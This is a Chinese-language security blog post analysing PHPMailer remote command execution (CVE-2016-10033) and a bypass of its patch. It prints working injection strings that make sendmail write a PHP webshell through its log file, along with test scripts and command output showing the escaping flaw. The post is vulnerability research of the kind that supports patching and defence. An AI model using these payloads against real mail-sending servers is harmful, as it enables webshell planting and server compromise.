phpmailer RCE 分析

最近报了个CVE-2016-10033, 是phpmailer 远程命令执行漏洞, 从昨天开始, 分析了一波

CVE-2016-10033

首先来看最早的版本, 环境和exp之类的可见https://github.com/opsxcq/exploit-CVE-2016-10033

触发该漏洞还有一系列要求:

php version < 5.2.0
no pcre
phpmailer < 5.2.18
php safe_mode = false

看着这一些列限制感觉这洞挺鸡肋的, 尤其是上面两个限制, php版本小于5.2, 已经很少见了, 默认情况下php是会编译安装pcre扩展的

接下来仔细分析下该漏洞, 看exp可知, 该漏洞和前段时间的Roundcube 1.2.2 远程命令执行漏洞 相似, 都是由于php的mail函数的第5个参数的问题.

然后开始定位:
代码位于文件class.phpmailer.php
mail1

从这里就可以看出上述第四个要求的原因, 如果开启了safe_mode, 则不会向mail函数传递第5个参数

接下来跟踪变量$params
mail2

变量$params来自于$this->Sender

继续跟踪:
mail3

变量$this->Sender是通过setFrom函数的第一个参数进行设置的

在之前, 函数对$address是进行有效性判断的, 接下来进入这个地址有效性判断的函数中去看看

mail4

从这段代码我们能知道, 如果php version < 5.2.0 and no pcre, 则$patternselect = 'noregex'

继续往下看
mail5

$patternselect = 'noregex'时, 这判断太好过了, 差不多只要字符串中含有@, 就能返回true

这样mail函数的第5个参数$params, 就能随意构造了

接下来说说这类漏洞的原理

php的mail函数默认情况下是通过执行sendmail命令(说是默认, 但为啥我在搭环境的时候php.ini中不设置sendmail_path=/usr/sbin/sendmail -t -i 就跑不起来?)

第5个参数$params也是sendmail的参数(可参考man sendmail)

这时候看exp就很好理解了:

1
2
vulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php
# -X 参数, 把日志写到/www/backdoor.php文件中

至于另一个-O参数, 在某些环境下需要
比如我搭的环境, 用的是debian, 默认情况下会出现can not chdir(/var/spool/mqueue-client/): Permission denied, 然后问了下p神, 他搭的环境用的是ubuntu, 不会报这个错误

这是由于权限设置的问题, 研究了下

1
2
3
4
5
$ ls -lF /var/spool
.....
drwxrws--- 2 smmsp smmsp 4096 Dec 28 14:24 mqueue-client/'

$ chmod 777 /var/spool/mqueue-client

就不会出现这个错误了, 但是这就不是默认环境, 而是配置后的环境

之后发现如果加上-OQueueDirectory=/tmp 参数就不会报这个错误了, 猜测应该是默认情况下QueueDirectory=/var/spool/mqueue-client

总结下, 日志文件写到一个php文件中, 而mail发送的信息中含有php代码, 那么这不就可以形成webshell了么.

之后尝试了下能不能通过反引号进行命令执行, 没成功.

bypass pcre8 正则

最初的版本太鸡肋了, 限制太多, 之后研究发现, 如果能bypass prce8 的正则, 那么限制条件不就可以减为:

phpmailer < 5.2.18
php safe_mode = false

如果这样, 那么作用就大了, 昨天p神就已经发表了他的bypass payload(这里膜一下, 速度太快了, 我才刚开始研究, 他就出结果了)

可以用这段代码来测试自己的payload:

1
2
3
4
5
6
7
8
9
10
<?php
require 'src/PHPMailerAutoload.php';
$mail = new PHPMailer;

$email = $_GET['t'];
$r = $mail->setFrom($email, 'Vulnerable Server');
var_dump($r);
var_dump($mail->Sender);

?>

昨晚我研究出了两张种bypass方案:

a. -OQueueDirectory=/tmp/. -X/tmp/shell.php @a.com
() -OQueueDirectory=/tmp/. -X/tmp/shell.php @a.com

再加上p神下午发的:

a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com

然后看了下p神今天凌晨发的, 对比了下我已知的, 又多了一种

“ -X/home/www/backdoor.php -OQueueDirectory=/tmp “@qq.com

然后看了下github上的exp, 也进行了更新

“vulnerables" -OQueueDirectory=/tmp -X/www/backdoor.php server” @test.com

phpmailer 5.2.19 RCE

分析完这漏洞后, 然后去分析了源码patch, 然后发现, patch并啥用

5.2.18的patch中, 唯一有用的代码是

1
$params = sprintf('-f%s', escapeshellarg($this->Sender));

加了一个escapeshellarg 进行处理, 之前的Roundcube 1.2.2 远程命令执行漏洞 也是用相同的方法进行处理的

但是我发现, 这个patch任然能bypass

举例其中一个payload:

a’( -OQueueDirectory=/tmp -X/tmp/backdoor.php )@a.com

讲道理, 该payload被escapeshellarg 函数处理后是没问题的

1
2
php> var_dump(escapeshellarg("a'( -OQueueDirectory=/tmp -X/tmp/backdoor.php )@a.com"))
string(74) "'a'\''( -OQueueDirectory=/tmp -X/tmp/backdoor.php )@a.com'"

然后带入sendmail

1
2
$ sendmail -f'a'\''( -OQueueDirectory=/tmp -X/tmp/backdoor2.php )@a.com'
Recipient names must be specified

发现并跑不起来, 日志文件也没成功写入

但是传入mail函数中, 却能成功写入日志文件

之后对mail.c源码进行了研究, 发现:

mail6

在mail函数中, 对参数使用php_escape_shell_cmd进行处理

我们可以进行测试下:

1
2
3
4
5
6
7
8
# test.php
<?php
$payload = "a'( -OQueueDirectory=/tmp -X/tmp/backdoor.php )@a.com";
$earg = escapeshellarg($payload);
var_dump($earg);
$ecmd = escapeshellcmd($earg);
var_dump($ecmd);
?>

得到:

1
2
3
4
5
$ php test.php
string(58) "'a'\''( -OQueueDirectory=/tmp -X/tmp/backdoor.php )@a.com'"
string(62) "'a'\\''\( -OQueueDirectory=/tmp -X/tmp/backdoor.php \)@a.com\'"

$ sendmail -f'a'\\''\( -OQueueDirectory=/tmp -X/tmp/backdoor.php \)@a.com\'

发现sendmail能成功写入日志文件, 虽然会报一些错, 但无伤大雅, 数据能写到日志文件中

从上面我们可以得到是escapeshellargescapeshellcmd函数一起处理参数, 导致的问题

同理: Roundcube也存在该问题

Other

之后会对各大cms进行分析, 就目前分析过的两个Joomla和Wordpress来看, 并不是特别好利用

  • Joomla中有phpmailer模块, 但是实际代码中却并未使用该模块
  • Wordpress实际代码中使用了该模块, 而且还是5.2.14版本的, 但是设置参数的地方只有管理员能设置, 既然是管理员了, 要getshell又何必用这中麻烦的方法

所以感觉该漏洞在我眼中目前看来只能算个中危吧, 因为并没有发现非常棒的实际利用场景

参考

  1. https://github.com/opsxcq/exploit-CVE-2016-10033
  2. https://linux.die.net/man/8/sendmail.sendmail
  3. https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
  4. https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
  5. https://github.com/php/php-src/blob/452dcf12ae3376a3cdb47490c51aadb0651a2a73/ext/standard/mail.c
  6. https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fbd09afd33307cef164edf807cdc

PS: 文章刚写完发现54分钟前有人申请cve了, https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

Author

Hcamael

Posted on

2016-12-28

Updated on

2019-07-26

Licensed under